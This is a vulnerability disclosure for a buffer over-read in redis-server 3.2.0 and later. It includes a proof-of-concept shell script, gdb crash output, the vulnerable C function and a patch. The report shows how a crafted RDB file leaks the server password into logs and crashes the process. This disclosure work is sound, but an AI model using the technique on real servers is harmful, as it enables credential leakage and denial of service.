Buffer Over Read in redis-server 3.2.0 and Later

Introduction

The redis-server dose not properly handle a corrupted rdb database file when loads it. The function serverLogHexDump(int level, char *descr, void *value, size_t len) does not check the validity of the last parameter `len`, which can be assigned from a rdb file. A very large value, such as 0xffffffff, will trigger a buffer over read, as demonstrated by exposing sensitive information, such as password. Also, the program will receive the SIGSEGV signal, if it accesses an invalid memory address. The vulnerability can also be used for the deny of service attack.

Proof of Concept

I have reproduced this vulnerability with redis-server 3.2.3 in a Debian system and the newest source code of redis in github.com. The program will crash and the password will be dumped in the log file.

The source code of poc.sh is followed and the rdb file is located at ./poc/buffer*over*read.rdb:

```
# Date: Sept 06, 2016
# Vulnerability type: CWE-126: Buffer Over Read
# Description: The last parameter named len in serverLogHexDump() can be controlle
d by a corrupted rdb database file. A very large value will trigger a buffer over
read, resulting sensitive information on the stack exposed.
# Affected Version: >=redis 3.2.0
# Debian version: stretch and sid

Redis_Path=`which redis-server`
PASS_WORD='AAAA__PASSWORD__PASSWORD__AAAA'
HEX_PASS='414141415f5f50415353574f52445f5f50415353574f52445f5f41414141'
DB_FILE='buffer_over_read.rdb'
LOG_FILE='error.log'
echo "Redis Version:"
$Redis_Path --version

#sets a password and loads a rdb file
$Redis_Path --requirepass $PASS_WORD --port 54321 --dbfilename $DB_FILE > $LOG_FIL
E
#search password
echo "The password $PASS_WORD will be found in the $LOG_FILE with hex format: $HEX
_PASS"
#cat $LOG_FILE | grep -n $HEX_PASS
```

A core dump will be generated after the poc.sh is executed. The backtrace of the process is followed for debugging:

```
Program received signal SIGSEGV, Segmentation fault.
serverLogHexDump (level=level@entry=3, descr=descr@entry=0x4ef6c0 "ziplist with du
p elements dump", value=<optimized out>, len=2019155864) at debug.c:1059
1059            b[0] = charset[(*v)>>4];
(gdb) x/i $pc
=> 0x4638c0 <serverLogHexDump+112>:     movzbl 0x0(%rbp),%edx
(gdb) p/x $rbp
$1 = 0x7ffff6c00000
(gdb) bt
#0  serverLogHexDump (level=level@entry=3, descr=descr@entry=0x4ef6c0 "ziplist wit
h dup elements dump", value=<optimized out>, len=2019155864) at debug.c:1059
#1  0x00000000004545fa in hashTypeConvertZiplist (o=0x7ffff6a6e4b0, enc=<optimized
 out>) at t_hash.c:486
#2  0x00000000004546b5 in hashTypeConvert (o=o@entry=0x7ffff6a6e4b0, enc=enc@entry
=2) at t_hash.c:502
#3  0x0000000000446256 in rdbLoadObject (rdbtype=rdbtype@entry=13, rdb=rdb@entry=0
x7fffffffe3f0) at rdb.c:1296
#4  0x0000000000446e57 in rdbLoad (filename=<optimized out>) at rdb.c:1490
#5  0x000000000042d854 in loadDataFromDisk () at server.c:3378
#6  0x00000000004218e6 in main (argc=3, argv=0x7fffffffea08) at server.c:3656
(gdb)
```

And the memory layout of the process is followed for your reference:

```
(gdb) info proc mappings
process 2778
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x52e000   0x12e000        0x0 /usr/local/bin/redis
-server
            0x72d000           0x72e000     0x1000   0x12d000 /usr/local/bin/redis
-server
            0x72e000           0x733000     0x5000   0x12e000 /usr/local/bin/redis
-server
            0x733000           0x76b000    0x38000        0x0 [heap]
      0x7ffff51fd000     0x7ffff51fe000     0x1000        0x0
      0x7ffff51fe000     0x7ffff59fe000   0x800000        0x0 [stack:2792]
      0x7ffff59fe000     0x7ffff59ff000     0x1000        0x0
      0x7ffff59ff000     0x7ffff61ff000   0x800000        0x0 [stack:2791]
      0x7ffff61ff000     0x7ffff6200000     0x1000        0x0
      0x7ffff6200000     0x7ffff6c00000   0xa00000        0x0 [stack:2790]
      0x7ffff6d37000     0x7ffff7000000   0x2c9000        0x0 /usr/lib/locale/loca
le-archive
```

```
      0x7ffff7000000     0x7ffff7200000   0x200000        0x0
      0x7ffff72ed000     0x7ffff74a8000   0x1bb000        0x0 /lib/x86_64-linux-gn
u/libc-2.19.so
      0x7ffff74a8000     0x7ffff76a7000   0x1ff000   0x1bb000 /lib/x86_64-linux-gn
u/libc-2.19.so
      0x7ffff76a7000     0x7ffff76ab000     0x4000   0x1ba000 /lib/x86_64-linux-gn
u/libc-2.19.so
      0x7ffff76ab000     0x7ffff76ad000     0x2000   0x1be000 /lib/x86_64-linux-gn
u/libc-2.19.so
      0x7ffff76ad000     0x7ffff76b2000     0x5000        0x0
      0x7ffff76b2000     0x7ffff76cb000    0x19000        0x0 /lib/x86_64-linux-gn
u/libpthread-2.19.so
      0x7ffff76cb000     0x7ffff78ca000   0x1ff000    0x19000 /lib/x86_64-linux-gn
u/libpthread-2.19.so
      0x7ffff78ca000     0x7ffff78cb000     0x1000    0x18000 /lib/x86_64-linux-gn
u/libpthread-2.19.so
      0x7ffff78cb000     0x7ffff78cc000     0x1000    0x19000 /lib/x86_64-linux-gn
u/libpthread-2.19.so
      0x7ffff78cc000     0x7ffff78d0000     0x4000        0x0
      0x7ffff78d0000     0x7ffff78d3000     0x3000        0x0 /lib/x86_64-linux-gn
u/libdl-2.19.so
      0x7ffff78d3000     0x7ffff7ad2000   0x1ff000     0x3000 /lib/x86_64-linux-gn
u/libdl-2.19.so
      0x7ffff7ad2000     0x7ffff7ad3000     0x1000     0x2000 /lib/x86_64-linux-gn
u/libdl-2.19.so
      0x7ffff7ad3000     0x7ffff7ad4000     0x1000     0x3000 /lib/x86_64-linux-gn
u/libdl-2.19.so
      0x7ffff7ad4000     0x7ffff7bd9000   0x105000        0x0 /lib/x86_64-linux-gn
u/libm-2.19.so
      0x7ffff7bd9000     0x7ffff7dd8000   0x1ff000   0x105000 /lib/x86_64-linux-gn
u/libm-2.19.so
      0x7ffff7dd8000     0x7ffff7dd9000     0x1000   0x104000 /lib/x86_64-linux-gn
u/libm-2.19.so
      0x7ffff7dd9000     0x7ffff7dda000     0x1000   0x105000 /lib/x86_64-linux-gn
u/libm-2.19.so
      0x7ffff7dda000     0x7ffff7dfd000    0x23000        0x0 /lib/x86_64-linux-gn
u/ld-2.19.so
      0x7ffff7fd8000     0x7ffff7fdc000     0x4000        0x0
      0x7ffff7ff6000     0x7ffff7ffa000     0x4000        0x0
      0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x22000 /lib/x86_64-linux-gn
u/ld-2.19.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x23000 /lib/x86_64-linux-gn
u/ld-2.19.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0
      0x7fffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
```

Based on the above gdb information, I think the reason of the crash is that the last instruction was trying to read memory at address 0x7ffff6c00000, which was out of the stack range (0x7ffff6200000 to 0x7ffff6c00000) and was invalid for reading.

After analysing the following source code of the vulnerable function, I found the register `$rbp` in the last instruction `movzbl 0x0(%rbp),%edx` represents the pointer `v` in the following c source code. This function dose not check the validity of the pointer `v`. The pointer `v` will increase until it reaches a invalid address during the the every time of the loop. More seriously, the function serverLogRaw() will dump all the content of the stack when the pointer `v` increases. The vulnerable function will lead the password on the stack to be dumped into the log file.

```
// src/debug.c:1051
void serverLogHexDump(int level, char *descr, void *value, size_t len) {
    char buf[65], *b;
    unsigned char *v = value;
    char charset[] = "0123456789abcdef";

    serverLog(level,"%s (hexdump):", descr);
    b = buf;
    while(len) {
        b[0] = charset[(*v)>>4];
        b[1] = charset[(*v)&0xf];
        b[2] = '\0';
        b += 2;
        len--;
        v++;
        if (b-buf == 64 || len == 0) {
            serverLogRaw(level|LL_RAW,buf);
            b = buf;
        }
    }
    serverLogRaw(level|LL_RAW,"\n");
}
```

Countermeasure

I prefer to remove the calling of the vulnerable function `serverLogHexDump()`. Because the parameter `len` is controlled by the db file and it is difficult to detect whether the length of the data is as same as the value of `len`.

The patch is followed:

```
diff --git a/src/t_hash.c b/src/t_hash.c
index a495593..3ae0d46 100644
--- a/src/t_hash.c
+++ b/src/t_hash.c
@@ -483,8 +483,6 @@ void hashTypeConvertZiplist(robj *o, int enc) {
             value = hashTypeCurrentObjectNewSds(hi,OBJ_HASH_VALUE);
             ret = dictAdd(dict, key, value);
             if (ret != DICT_OK) {
-                serverLogHexDump(LL_WARNING,"ziplist with dup elements dump",
-                    o->ptr,ziplistBlobLen(o->ptr));
                 serverPanic("Ziplist corruption detected");
             }
         }
```

Conclusion

A buffer over read vulnerability is found in redis-server 3.2.0 and later. The report shows the proof of concept and vulnerability analysis. Finally, a patch is attached in the end.